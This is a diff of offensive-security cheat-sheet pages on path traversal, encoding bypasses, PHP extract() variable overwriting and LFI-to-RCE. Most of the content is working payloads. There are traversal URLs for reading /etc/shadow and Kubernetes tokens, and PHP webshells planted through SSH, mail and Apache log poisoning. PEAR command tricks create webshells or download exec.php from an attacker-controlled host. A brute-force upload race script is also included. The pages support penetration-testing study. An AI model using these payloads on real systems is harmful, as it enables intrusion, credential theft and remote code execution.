     * [IIS Short Name](#iis-short-name)
     * [Java URL Protocol](#java-url-protocol)
 * [Path Traversal](#path-traversal)
@@ -24,15 +24,14 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Tools
 
-- [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer
+* [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer
+
     ```powershell
     perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
     ```
 
-
 ## Methodology
 
 We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
@@ -48,7 +47,6 @@ We can use the `..` characters to access the parent directory, the following str
 %uff0e%uff0e%u2216
 ```
 
-
 ### URL Encoding
 
 | Character | Encoded |
@@ -57,14 +55,12 @@ We can use the `..` characters to access the parent directory, the following str
 | `/` | `%2f` |
 | `\` | `%5c` |
 
-
 **Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
 
 ```ps1
 {{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
 ```
 
-
 ### Double URL Encoding
 
 Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.
@@ -75,7 +71,6 @@ Double URL encoding is the process of applying URL encoding twice to a string. I
 | `/` | `%252f` |
 | `\` | `%255c` |
 
-
 **Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)
 
 ```ps1
@@ -83,7 +78,6 @@ Double URL encoding is the process of applying URL encoding twice to a string. I
 {{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
 ```
 
-
 ### Unicode Encoding
 
 | Character | Encoded |
@@ -92,14 +86,12 @@ Double URL encoding is the process of applying URL encoding twice to a string. I
 | `/` | `%u2215` |
 | `\` | `%u2216` |
 
-
 **Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)
 
 ```js
 {{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
 ```
 
-
 ### Overlong UTF-8 Unicode Encoding
 
 The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.
@@ -110,7 +102,6 @@ The UTF-8 standard mandates that each codepoint is encoded using the minimum num
 | `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` |
 | `\` | `%c0%5c`, `%c0%80%5c` |
 
-
 ### Mangled Path
 
 Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.
@@ -126,7 +117,6 @@ Sometimes you encounter a WAF which remove the `../` characters from the strings
 {{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini
 ```
 
-
 ### NULL Bytes
 
 A null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.
@@ -143,7 +133,6 @@ A null byte (`%00`), also known as a null character, is a special control charac
 {{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
 ```
 
-
 ### Reverse Proxy URL Implementation
 
 Nginx treats `/..;/` as a directory while Tomcat treats it as it would treat `/../` which allows us to access arbitrary servlets.
@@ -160,12 +149,10 @@ A configuration error between NGINX and a backend Tomcat server leads to a path
 {{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
 ```
 
-
 ## Exploit
 
 These exploits affect mechanism linked to specific technologies.
 
-
 ### UNC Share
 
 A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems.
@@ -178,13 +165,11 @@ An attacker can inject a **Windows** UNC share (`\\UNC\share\name`) into a softw
 
 Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.
 
-
 ### ASP NET Cookieless
 
 When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.
 
-For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID. 
+For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID.
-
 
 | .NET Version   | URI                        |
 | -------------- | -------------------------- |
@@ -193,10 +178,10 @@ For example, a typical URL might be transformed from: `http://example.com/page.a
 | V2.0+          | /(A(XXXXXXXX)F(YYYYYYYY))/ |
 | V2.0+          | ...                        |
 
-
 We can use this behavior to bypass filtered URLs.
 
 * If your application is in the main folder
+
     ```ps1
     /(S(X))/
     /(Y(Z))/
@@ -206,6 +191,7 @@ We can use this behavior to bypass filtered URLs.
     ```
 
 * If your application is in a subfolder
+
     ```ps1
     /MyApp/(S(X))/
     /admin/(S(X))/main.aspx
@@ -219,23 +205,23 @@ We can use this behavior to bypass filtered URLs.
 | CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ |
 | -              | /WebForm/b/(S(X))in/target2.aspx/(S(X))/       |
 
-
 ### IIS Short Name
 
 The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server.
 
 * [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
+
     ```ps1
     java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
     java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
     ```
 
 * [bitquark/shortscan](https://github.com/bitquark/shortscan)
+
     ```ps1
     shortscan http://example.org/
     ```
 
-
 ### Java URL Protocol
 
 Java's URL protocol when `new URL('')` is used allows the format `url:URL`
@@ -245,12 +231,12 @@ url:file:///etc/passwd
 url:http://127.0.0.1:8080
 ```
 
-
 ## Path Traversal
 
 ### Linux Files
 
 * Operating System and Informations
+
     ```powershell
     /etc/issue
     /etc/group
@@ -258,7 +244,8 @@ url:http://127.0.0.1:8080
     /etc/motd
     ```
 
-* Processes 
+* Processes
+
     ```ps1
     /proc/[0-9]*/fd/[0-9]*   # first number is the PID, second is the filedescriptor
     /proc/self/environ
@@ -269,6 +256,7 @@ url:http://127.0.0.1:8080
     ```
 
 * Network
+
     ```ps1
     /proc/net/arp
     /proc/net/route
@@ -277,12 +265,14 @@ url:http://127.0.0.1:8080
     ```
 
 * Current Path
+
     ```ps1
     /proc/self/cwd/index.php
     /proc/self/cwd/main.py
     ```
 
 * Indexing
+
     ```ps1
     /var/lib/mlocate/mlocate.db
     /var/lib/plocate/plocate.db
@@ -290,6 +280,7 @@ url:http://127.0.0.1:8080
     ```
 
 * Credentials and history
+
     ```ps1
     /etc/passwd
     /etc/shadow
@@ -299,6 +290,7 @@ url:http://127.0.0.1:8080
     ```
 
 * Kubernetes
+
     ```ps1
     /run/secrets/kubernetes.io/serviceaccount/token
     /run/secrets/kubernetes.io/serviceaccount/namespace
@@ -306,7 +298,6 @@ url:http://127.0.0.1:8080
     /var/run/secrets/kubernetes.io/serviceaccount
     ```
 
-
 ### Windows Files
 
 The files `license.rtf` and `win.ini` are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.
@@ -342,7 +333,6 @@ c:/windows/repair/sam
 c:/windows/repair/system
 ```
 
-
 ## Labs
 
 * [PortSwigger - File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)
@@ -352,15 +342,14 @@ c:/windows/repair/system
 * [PortSwigger - File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)
 * [PortSwigger - File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)
 
-
 ## References
 
-- [Cookieless ASPNET - Soroush Dalili - March 27, 2023](https://twitter.com/irsdl/status/1640390106312835072)
+* [Cookieless ASPNET - Soroush Dalili - March 27, 2023](https://web.archive.org/web/20241202163755/https://twitter.com/irsdl/status/1640390106312835072)
-- [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
+* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://web.archive.org/web/20080115180212/http://cwe.mitre.org:80/data/definitions/40.html)
-- [Directory traversal - Portswigger - March 30, 2019](https://portswigger.net/web-security/file-path-traversal)
+* [Directory traversal - Portswigger - March 30, 2019](https://web.archive.org/web/20190330191447/https://portswigger.net/web-security/file-path-traversal)
-- [Directory traversal attack - Wikipedia - August 5,  2024](https://en.wikipedia.org/wiki/Directory_traversal_attack)
+* [Directory traversal attack - Wikipedia - August 5,  2024](https://web.archive.org/web/20111013162219/http://en.wikipedia.org:80/wiki/Directory_traversal_attack)
-- [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://youtu.be/YlZGJ28By8U)
+* [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://web.archive.org/web/20240323234120/https://youtu.be/YlZGJ28By8U)
-- [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
+* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
-- [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
+* [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
-- [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
+* [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
-- [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))
+* [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))

Encoding Transformations/README.md

@@ -0,0 +1,111 @@
+# Encoding and Transformations
+
+> Encoding and Transformations are techniques that change how data is represented or transferred without altering its core meaning. Common examples include URL encoding, Base64, HTML entity encoding, and Unicode transformations. Attackers use these methods as gadgets to bypass input filters, evade web application firewalls, or break out of sanitization routines.
+
+## Summary
+
+* [Unicode](#unicode)
+    * [Unicode Normalization](#unicode-normalization)
+    * [Punycode](#punycode)
+* [Base64](#base64)
+* [Labs](#labs)
+* [References](#references)
+
+## Unicode
+
+Unicode is a universal character encoding standard used to represent text from virtually every writing system in the world. Each character (letters, numbers, symbols, emojis) is assigned a unique code point (for example, U+0041 for "A"). Unicode encoding formats like UTF-8 and UTF-16 specify how these code points are stored as bytes.
+
+### Unicode Normalization
+
+Unicode normalization is the process of converting Unicode text into a standardized, consistent form so that equivalent characters are represented the same way in memory.
+
+[Unicode Normalization reference table](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html)
+
+* **NFC** (Normalization Form Canonical Composition): Combines decomposed sequences into precomposed characters where possible.
+* **NFD** (Normalization Form Canonical Decomposition): Breaks characters into their decomposed forms (base + combining marks).
+* **NFKC** (Normalization Form Compatibility Composition): Like NFC, but also replaces characters with compatibility equivalents (may change appearance/format).
+* **NFKD** (Normalization Form Compatibility Decomposition): Like NFD, but also decomposes compatibility characters.
+
+| Character    | Payload               | After Normalization   |
+| ------------ | --------------------- | --------------------- |
+| `‥` (U+2025) | `‥/‥/‥/etc/passwd` | `../../../etc/passwd` |
+| `︰` (U+FE30) | `︰/︰/︰/etc/passwd` | `../../../etc/passwd` |
+| `＇` (U+FF07) | `＇ or ＇1＇=＇1` | `' or '1'='1` |
+| `＂` (U+FF02) | `＂ or ＂1＂=＂1` | `" or "1"="1` |
+| `﹣` (U+FE63) | `admin'﹣﹣` | `admin'--` |
+| `。` (U+3002) | `domain。com` | `domain.com` |
+| `／` (U+FF0F) | `／／domain.com` | `//domain.com` |
+| `＜` (U+FF1C) | `＜img src=a＞` | `<img src=a/>` |
+| `﹛` (U+FE5B) | `﹛﹛3+3﹜﹜` | `{{3+3}}` |
+| `［` (U+FF3B) | `［［5+5］］` | `[[5+5]]` |
+| `＆` (U+FF06) | `＆＆whoami` | `&&whoami` |
+| `ｐ` (U+FF50) | `shell.ｐʰｐ` | `shell.php` |
+| `ʰ` (U+02B0) | `shell.ｐʰｐ` | `shell.php` |
+| `ª` (U+00AA) | `ªdmin` | `admin` |
+
+```py
+import unicodedata
+string = "ᴾᵃʸˡᵒᵃᵈˢ𝓐𝓵𝓵𝕋𝕙𝕖𝒯𝒽𝒾𝓃ℊ𝓈"
+print ('NFC: ' + unicodedata.normalize('NFC', string))
+print ('NFD: ' + unicodedata.normalize('NFD', string))
+print ('NFKC: ' + unicodedata.normalize('NFKC', string))
+print ('NFKD: ' + unicodedata.normalize('NFKD', string))
+```
+
+### Punycode
+
+Punycode is a way to represent Unicode characters (including non-ASCII letters, symbols, and scripts) using only the limited set of ASCII characters (letters, digits, and hyphens).
+
+It's mainly used in the Domain Name System (DNS), which traditionally supports only ASCII. Punycode allows internationalized domain names (IDNs), so that domain names can include characters from many languages by converting them into a safe ASCII form.
+
+| Visible in Browser (IDN support) | Actual ASCII (Punycode) |
+| -------------------------------- | ----------------------- |
+| раypal.com                       | xn--ypal-43d9g.com      |
+| paypal.com                       | paypal.com              |
+
+In MySQL, similar character are treated as equal. This behavior can be abused in Password Reset, Forgot Password, and OAuth Provider sections.
+
+```sql
+SELECT 'a' = 'ᵃ';
++-------------+
+| 'a' = 'ᵃ'   |
++-------------+
+|           1 |
++-------------+
+```
+
+This trick works the SQL query uses `COLLATE utf8mb4_0900_as_cs`.
+
+```sql
+SELECT 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs;
++----------------------------------------+
+| 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs   |
++----------------------------------------+
+|                                      0 |
++----------------------------------------+
+```
+
+## Base64
+
+Base64 encoding is a method for converting binary data (like images or files) or text with special characters into a readable string that uses only ASCII characters (A-Z, a-z, 0-9, +, and /). Every 3 bytes of input are divided into 4 groups of 6 bits and mapped to 4 Base64 characters. If the input isn't a multiple of 3 bytes, the output is padded with `=` characters.
+
+```ps1
+echo -n admin | base64                            
+YWRtaW4=
+
+echo -n YWRtaW4= | base64 -d
+admin
+```
+
+## Labs
+
+* [NahamCon - Puny-Code: 0-Click Account Takeover](https://github.com/VoorivexTeam/white-box-challenges/tree/main/punycode)
+* [PentesterLab - Unicode and NFKC](https://pentesterlab.com/exercises/unicode-transform)
+
+## References
+
+* [Puny-Code, 0-Click Account Takeover - Voorivex - June 1, 2025](https://web.archive.org/web/20251211233427/https://blog.voorivex.team/puny-code-0-click-account-takeover)
+* [Unicode normalization vulnerabilities - Lazar - September 30, 2021](https://web.archive.org/web/20251224043224/https://lazarv.com/posts/unicode-normalization-vulnerabilities/)
+* [Unicode Normalization Vulnerabilities & the Special K Polyglot - AppCheck - September 2, 2019](https://web.archive.org/web/20190916002602/https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
+* [WAF Bypassing with Unicode Compatibility - Jorge Lajara - February 19, 2020](https://web.archive.org/web/20251230185141/https://jlajara.gitlab.io/Bypass_WAF_Unicode)
+* [When "Zoë" !== "Zoë". Or why you need to normalize Unicode strings - Alessandro Segala - March 11, 2019](https://web.archive.org/web/20260128220322/https://withblue.ink/2019/03/11/why-you-need-to-normalize-unicode-strings.html)

External Variable Modification/README.md

@@ -0,0 +1,98 @@
+# External Variable Modification
+
+> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
+
+## Summary
+
+* [Methodology](#methodology)
+    * [Overwriting Critical Variables](#overwriting-critical-variables)
+    * [Poisoning File Inclusion](#poisoning-file-inclusion)
+    * [Global Variable Injection](#global-variable-injection)
+* [Remediations](#remediations)
+* [References](#references)
+
+## Methodology
+
+The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
+
+* It allows overwriting existing variables.
+* It can lead to **variable pollution**, impacting security mechanisms.
+* It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
+
+By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.
+
+### Overwriting Critical Variables
+
+If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
+
+```php
+<?php
+    $authenticated = false;
+    extract($_GET);
+    if ($authenticated) {
+        echo "Access granted!";
+    } else {
+        echo "Access denied!";
+    }
+?>
+```
+
+**Exploitation:**
+
+In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
+
+```ps1
+http://example.com/vuln.php?authenticated=true
+http://example.com/vuln.php?authenticated=1
+```
+
+### Poisoning File Inclusion
+
+If `extract()` is combined with file inclusion, attackers can control file paths.
+
+```php
+<?php
+    $page = "config.php";
+    extract($_GET);
+    include "$page";
+?>
+```
+
+**Exploitation:**
+
+```ps1
+http://example.com/vuln.php?page=../../etc/passwd
+```
+
+### Global Variable Injection
+
+:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported.
+
+Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:
+
+```php
+extract($_GET);
+```
+
+An attacker can manipulate **global variables**:
+
+```ps1
+http://example.com/vuln.php?GLOBALS[admin]=1
+```
+
+## Remediations
+
+Use `EXTR_SKIP` to prevent overwriting:
+
+```php
+extract($_GET, EXTR_SKIP);
+```
+
+## References
+
+* [CWE-473: PHP External Variable Modification - Common Weakness Enumeration - November 19, 2024](https://web.archive.org/web/20260210044429/https://cwe.mitre.org/data/definitions/473.html)
+* [CWE-621: Variable Extraction Error - Common Weakness Enumeration - November 19, 2024](https://web.archive.org/web/20260223131419/https://cwe.mitre.org/data/definitions/621.html)
+* [Function extract - PHP Documentation - March 21, 2001](https://web.archive.org/web/20260210044429/https://www.php.net/manual/en/function.extract.php)
+* [$GLOBALS variables - PHP Documentation - April 30, 2008](https://web.archive.org/web/20260307071107/https://www.php.net/manual/en/reserved.variables.globals.php)
+* [The Ducks - HackThisSite - December 14, 2016](https://github.com/HackThisSite/CTF-Writeups/blob/master/2016/SCTF/Ducks/README.md)
+* [Extracttheflag! - Orel / WindTeam - February 28, 2024](https://web.archive.org/web/20250709004721/https://ctftime.org/writeup/38076)

File Inclusion/Intruders/php-filter-iconv.txt

@@ -0,0 +1,50 @@
+convert.iconv.437.CP930
+convert.iconv.CP1390.CSIBM932
+convert.iconv.CP273.CP1122
+convert.iconv.CP285.CP280
+convert.iconv.CSISO5427CYRILLIC.855
+convert.iconv.CSN_369103.CP770
+convert.iconv.CSUNICODE.CSUNICODE
+convert.iconv.CSUNICODE.UCS-2BE
+convert.iconv.ES.IBM037
+convert.iconv.ES.IBM930
+convert.iconv.IBM037.CP1250
+convert.iconv.IBM037.IBM256
+convert.iconv.IBM037.IBM280
+convert.iconv.IBM037.IBM860
+convert.iconv.IBM1122.IBM273
+convert.iconv.IBM1137.8859_1
+convert.iconv.IBM1141.8859_1
+convert.iconv.IBM1141.IBM4517
+convert.iconv.IBM1145.IBM850
+convert.iconv.IBM1148.EBCDIC-AT-DE-A
+convert.iconv.IBM1149.MAC-SAMI
+convert.iconv.IBM1390.IBM932
+convert.iconv.IBM1390.IBM939
+convert.iconv.IBM1399.IBM930
+convert.iconv.IBM256.IBM273
+convert.iconv.IBM273.CWI
+convert.iconv.IBM273.ES
+convert.iconv.IBM273.IBM420
+convert.iconv.IBM273.IT
+convert.iconv.IBM273.PT
+convert.iconv.IBM273.US
+convert.iconv.IBM277.ISO-8859-9E
+convert.iconv.IBM278.IBM861
+convert.iconv.IBM278.MIK
+convert.iconv.IBM284.IBM278
+convert.iconv.IBM297.IBM273
+convert.iconv.IBM297.IBM280
+convert.iconv.IBM4971.ARMSCII-8
+convert.iconv.IBM870.MAC-IS
+convert.iconv.L1.UCS-4
+convert.iconv.L1.UCS-4LE
+convert.iconv.L1.UTF16LE
+convert.iconv.L1.utf7
+convert.iconv.L1.UTF7
+convert.iconv.UCS-4LE.10646-1:1993
+convert.iconv.UTF16.UTF16
+convert.iconv..UTF7
+convert.iconv.UTF8.CP930
+convert.iconv.UTF8.IBM1140
+convert.iconv.VISCII.MSZ_7795.3

File Inclusion/LFI-to-RCE.md

@@ -2,7 +2,7 @@
 
 > LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
 
-## Summary 
+## Summary
 
 - [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
 - [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
@@ -19,7 +19,6 @@
 - [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
 - [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)
 
-
 ## LFI to RCE via /proc/*/fd
 
 1. Upload a lot of shells (for example : 100)
@@ -38,22 +37,19 @@ GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
 
-
 ## LFI to RCE via iconv
 
 Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
 
-
 **Requirements**:
 
-* PHP 7.0.0 (2015) to 8.3.7 (2024)
+- PHP 7.0.0 (2015) to 8.3.7 (2024)
-* GNU C Library (`glibc`) <=  2.39
+- GNU C Library (`glibc`) <=  2.39
-* Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
+- Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
 
 **Exploit**:
 
-* [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
+- [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
-
 
 ## LFI to RCE via upload
 
@@ -65,15 +61,14 @@ http://example.com/index.php?page=path/to/uploaded/file.png
 
 In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
 
-
 ## LFI to RCE via upload (race)
 
-* Upload a file and trigger a self-inclusion.
+- Upload a file and trigger a self-inclusion.
-* Repeat the upload a shitload of time to:
+- Repeat the upload a shitload of time to:
-* increase our odds of winning the race
+- increase our odds of winning the race
-* increase our guessing odds
+- increase our guessing odds
-* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
+- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
-* Enjoy our shell.
+- Enjoy our shell.
 
 ```python
 import itertools
@@ -97,20 +92,18 @@ for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
 print('[x] Something went wrong, please try again')
 ```
 
-
 ## LFI to RCE via upload (FindFirstFile)
 
 :warning: Only works on Windows
 
 `FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
 
-* `*`/`<<` : Represents any sequence of characters.
+- `*`/`<<` : Represents any sequence of characters.
-* `?`/`>` : Represents any single character.
+- `?`/`>` : Represents any single character.
 
 Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
 Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
 
-
 ## LFI to RCE via phpinfo()
 
 PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
@@ -119,9 +112,6 @@ PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** an
 
 Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
 
-Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
-
-
 ## LFI to RCE via controlled log file
 
 Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
@@ -141,7 +131,6 @@ http://example.com/index.php?page=/usr/local/apache/log/error_log
 http://example.com/index.php?page=/usr/local/apache2/log/error_log
 ```
 
-
 ### RCE via SSH
 
 Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
@@ -156,7 +145,6 @@ Then include the SSH log files inside the Web Application.
 http://example.com/index.php?page=/var/log/auth.log&cmd=id
 ```
 
-
 ### RCE via Mail
 
 First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
@@ -186,23 +174,21 @@ In some cases you can also send the email with the `mail` command line.
 mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
 ```
 
-
 ### RCE via Apache logs
 
 Poison the User-Agent in access logs:
 
-```
+```ps1
-$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
+curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
 ```
 
 Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
 
 Then request the logs via the LFI and execute your command.
 
+```ps1
+curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
 ```
-$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
-```
-
 
 ## LFI to RCE via PHP sessions
 
@@ -232,10 +218,9 @@ Use the LFI to include the PHP session file
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
 ```
 
-
 ## LFI to RCE via PHP PEARCMD
 
-PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`. 
+PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
 
 The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
 
@@ -245,41 +230,45 @@ register_argc_argv = On
 
 There are this ways to exploit it.
 
-* **Method 1**: config create
+- **Method 1**: config create
+
   ```ps1
   /vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
   /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
   ```
 
-* **Method 2**: man_dir
+- **Method 2**: man_dir
+
   ```ps1
   /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
   /vuln.php?file=/tmp/exec.php&c=id
   ```
+
   The created configuration file contains the webshell.
+
   ```php
   #PEAR_Config 0.9
   a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
   ```
 
-* **Method 3**: download (need external network connection).
+- **Method 3**: download (need external network connection).
+
   ```ps1
   /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
   /vuln.php?file=exec.php&c=id
   ```
 
-* **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
+- **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
+
   ```ps1
   /vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
   /vuln.php?file=/tmp/pear/download/exec.php&c=id
   ```
 
-
 ## LFI to RCE via credentials files
 
 This method require high privileges inside the application in order to read the sensitive files.
 
-
 ### Windows version
 
 Extract `sam` and `system` files.
@@ -291,7 +280,6 @@ http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
 
